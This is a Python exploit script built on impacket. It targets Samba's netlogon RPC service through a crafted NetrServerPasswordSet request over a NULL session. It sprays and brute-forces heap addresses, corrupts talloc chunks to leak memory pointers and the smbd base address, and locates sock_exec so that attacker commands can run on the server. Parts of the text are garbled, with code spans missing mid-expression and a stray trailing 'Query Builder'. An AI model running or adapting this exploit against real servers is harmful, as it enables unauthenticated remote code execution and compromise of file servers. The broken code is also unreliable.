#!/usr/bin/env python # coding: utf-8 import sys import time from struct import pack,unpack import argparse import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import WSTR class Requester: """ put all smb request stuff into class. help my editor folding them """ # impacket does not implement NetrServerPasswordSet # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) # response is authenticator (8 bytes) and error code (4 bytes) # size of each field in sent packet req_server_handle_size = 16 req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null req_sec_type_size = 2 req_computer_size = 4 + 4 + 4 + 2 req_authenticator_size = 8 + 2 + 4 req_new_pwd_size = 16 req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size samba_rpc_fragment_size = 4280 netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size def __init__(self): self.target = None self.dce = None sessionKey = '\x00'*16 # prepare ServerPasswordSet request authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00'*16 self.serverName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds self.serverName.fields['ReferentID'] = 0 self.accountName = WSTR() request = Requester.NetrServerPasswordSet() request['PrimaryName'] = self.serverName request['AccountName'] = self.accountName request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass self.request = request def set_target(self, target): self.target = target def set_payload(self, s, pad_to_size=0): if pad_to_size > 0: s += '\x00'*(pad_to_size-len(s)) pad_size = 0 if len(s) < (16*1024+1): ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size if ofsize > 0: pad_size = self.netlogon_data_fragment_size - ofsize self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' self.accountName.fields['MaximumCount'] = None self.accountName.fields['ActualCount'] = None self.accountName.data = None # force recompute set_accountNameData = set_payload def get_dce(self): if self.dce is None or self.dce.lostconn: rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) rpctransport.set_credentials('','') # NULL session rpctransport.set_dport(445) # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') self.dce = rpctransport.get_dce_rpc() self.dce.connect() self.dce.bind(nrpc.MSRPC_UUID_NRPC) self.dce.lostconn = False return self.dce def get_socket(self): return self.dce.get_rpc_transport().get_socket() def force_dce_disconnect(self): if not (self.dce is None or self.dce.lostconn): self.get_socket().close() self.dce.lostconn = True def request_addr(self, addr): self.serverName.fields['ReferentID'] = addr dce = self.get_dce() try: dce.call(self.request.opnum, self.request) answer = dce.recv() return unpack("flags & TALLOC_FLAG_LOOP)) { /* we have a free loop - stop looping */ return 0; } """ global fake_chunk_find_heap payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) set_payload(payload) addr_step = payload_size addr = start_addr i = 0 while addr > stop_addr: if i == 16: print(" [*]trying addr: {:x}".format(addr)) i = 0 if request_check_valid_addr(addr): return addr if first: # first time, the last 16 bit is still do not know # have to do extra check if request_check_valid_addr(addr+0x10): return addr+0x10 addr -= addr_step i += 1 return None def find_valid_heap_exact_addr(addr, payload_size): global fake_chunk_find_heap fake_size = payload_size // 2 while fake_size >= len(fake_chunk_find_heap): payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) set_payload(payload, payload_size) if not request_check_valid_addr(addr): addr -= fake_size fake_size = fake_size // 2 set_payload('\x00'*16 + pack("= target_payload_size: force_dce_disconnect() found_addr = None for i in range(3): found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) if found_addr is not None: break if found_addr is None: # failed good_addr = None break good_addr = found_addr print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) start_addr = good_addr stop_addr = good_addr - payload_size + 0x20 payload_size //= 2 if good_addr is not None: # try 3 times to find exact address. if address cannot be found, assume # minimizing payload size is not correct. start minimizing again for i in range(3): heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) if heap_addr != 0: break force_dce_disconnect() if heap_addr == 0: print(' [-] failed to find payload adress') # start from last good address + some offset start_addr = (good_addr + 0x10000) & 0xffff0000 print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) payload_addr = heap_addr - len(fake_chunk_find_heap) print(" [+] found payload addr: {:x}".format(payload_addr)) return payload_addr ######## # leak info ######## def addr2utf_prefix(addr): def is_badchar(v): return (v >= 0xd8) and (v <= 0xdf) prefix = 0 # safe if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): prefix |= 2 # cannot have prefix if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): prefix |= 1 # must have prefix return prefix def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): """ Note: - if next_addr and prev_addr are not zero, they must be writable address because of below code in _talloc_free_internal() if (tc->prev) tc->prev->next = tc->next; if (tc->next) tc->next->prev = tc->prev; """ # Note: U+D800 to U+DFFF is reserved (also bad char for samba) # check if '\x00' is needed to avoid utf16 badchar prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) if prefix_len == 3: return None # cannot avoid badchar if prefix_len == 2: prefix_len = 0 fake_chunk_leak_info = pack(" wrong answer force_dce_disconnect() # heap is corrupted, disconnect it return answers def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note: because leak_addr[4:8] will be replaced with r_out_addr # only answers[0] and answers[2] are leaked return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note: leak_addr[0:4] will be replaced with r_out_addr # only answers[1] and answers[2] are leaked return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): # leak name field ('uint8_t') in found heap chunk # do not retry this leak, because r_out_addr is guessed answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) if answers is None: return None if answers[2] != TALLOC_MAGIC: force_dce_disconnect() return None return answers[0] def leak_info_find_offset(info): # offset from pool to payload still does not know print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") chunk_addr = info['chunk_addr'] uint8t_addr = None r_addr = None r_out_addr = None while uint8t_addr is None: # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 # 0xad40 is extra offset when no share on debian # 0x10d38 is extra offset when only [printers] is shared on debian for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): r_addr = chunk_addr - offset # 0x18 is out.authenticator offset r_out_addr = r_addr + 0x18 print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) if uint8t_addr is not None: print(" [*] success") break print(" [-] failed") if uint8t_addr is None: return False info['uint8t_addr'] = uint8t_addr info['r_addr'] = r_addr info['r_out_addr'] = r_out_addr info['pool_addr'] = r_addr - 0x13c0 print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) print(" [+] pool addr: {:x}".format(info['pool_addr'])) return True def leak_sock_fd(info): # leak sock fd from # smb_request->sconn->sock # (offset: ->0x3c ->0x0 ) print("[*] leaking socket fd ...") info['smb_request_addr'] = info['pool_addr']+0x11a0 print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) if answers is None: print(' [-] cannot leak sconn_addr address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it sconn_addr = answers[2] info['sconn_addr'] = sconn_addr print(' [+] sconn addr: {:x}'.format(sconn_addr)) # write in padding of chunk, no need to disconnect answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) if answers is None: print('cannot leak sock_fd address :(') return None sock_fd = answers[1] print(' [+] sock fd: {:d}'.format(sock_fd)) info['sock_fd'] = sock_fd return sock_fd def leak_talloc_pop_addr(info): # leak destructor talloc_pop() address # overwrite name field, no need to disconnect print('[*] leaking talloc_pop address') answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) if answers is None: print(' [-] cannot leak talloc_pop() address :(') return None if answers[2] != 0x2010: # chunk size must be 0x2010 print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') return None talloc_pop_addr = answers[0] print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) info['talloc_pop_addr'] = talloc_pop_addr return talloc_pop_addr def leak_smbd_server_connection_handler_addr(info): # leak address from # smbd_server_connection.smb1->fde ->handler # (offset: ->0x9c->0x14 ) # MUST NOT disconnect after getting smb1_fd_event address print('[*] leaking smbd_server_connection_handler address') def real_leak_conn_handler_addr(info): answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) if answers is None: print(' [-] cannot leak smb1_fd_event address :(') return None smb1_fd_event_addr = answers[1] print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) if answers is None: print(' [-] cannot leak smbd_server_connection_handler address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it smbd_server_connection_handler_addr = answers[0] diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr if diff > 0x2000000 or diff < 0: print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) smbd_server_connection_handler_addr = None return smbd_server_connection_handler_addr smbd_server_connection_handler_addr = None while smbd_server_connection_handler_addr is None: smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr return smbd_server_connection_handler_addr def find_smbd_base_addr(info): # estimate smbd_addr from talloc_pop if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: # code has no alignment start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 else: start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 start_addr = start_addr & 0xfffff000 stop_addr = start_addr - 0x20000 print('[*] finding smbd loaded addr ...') while True: smbd_addr = start_addr while smbd_addr >= stop_addr: if addr2utf_prefix(smbd_addr-8) == 3: # smbd_addr is 0xb?d?e000 test_addr = smbd_addr - 0x800 - 4 else: test_addr = smbd_addr - 8 # test writable on test_addr answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) if answers is not None: break smbd_addr -= 0x1000 # try prev page if smbd_addr > stop_addr: break print(' [-] failed. try again.') info['smbd_addr'] = smbd_addr print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) def dump_mem_call_addr(info, target_addr): # leak pipes_struct address from # smbd_server_connection->chain_fsp->fake_file_handle->private_data # (offset: ->0x48 ->0xd4 ->0x4 ) # Note: # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed # - target_addr will be replaced with current_pdu_sent address # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c print(' [*] overwrite current_pdu_sent for dumping memory ...') answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) if answers is None: print(' [-] cannot leak chain_fsp address :(') return False chain_fsp_addr = answers[1] print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) if answers is None: print(' [-] cannot leak fake_file_handle address :(') return False fake_file_handle_addr = answers[0] print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) if answers is None: print(' [-] cannot leak pipes_struct address :(') return False pipes_struct_addr = answers[2] print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) current_pdu_sent_addr = pipes_struct_addr+0x84 print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) # change pipes->out_data.current_pdu_sent to dump memory return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) def dump_smbd_find_bininfo(info): def recv_till_string(data, s): pos = len(data) while True: data += force_recv() if len(data) == pos: print('no more data !!!') return None p = data.find(s, pos-len(s)) if p != -1: return (data, p) pos = len(data) return None def lookup_dynsym(dynsym, name_offset): addr = 0 i = 0 offset_str = pack(" 0: if mem[pos:pos+16] == '\x00'*16: break pos -= 16 # sym entry size is 16 bytes if pos <= 0: print(' [-] found wrong .dynsym section at {:x}'.format(pos)) return None dynsym_offset = pos print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) dynsym = mem[dynsym_offset:] # find sock_exec dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') print(' [*] found sock_exec string at {:x}'.format(pos+1)) sock_exec_offset = lookup_dynsym(dynsym, pos+1) print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) #info['mem'] = mem # smbd data before .dynsym section info['dynsym'] = dynsym info['dynstr'] = dynstr # incomplete section info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) # Note: can continuing memory dump to find ROP force_dce_disconnect() ######## # code execution ######## def call_sock_exec(info): prefix_len = addr2utf_prefix(info['sock_exec_addr']) if prefix_len == 3: return False # too bad... cannot call if prefix_len == 2: prefix_len = 0 fake_talloc_chunk_exec = pack("

Query Builder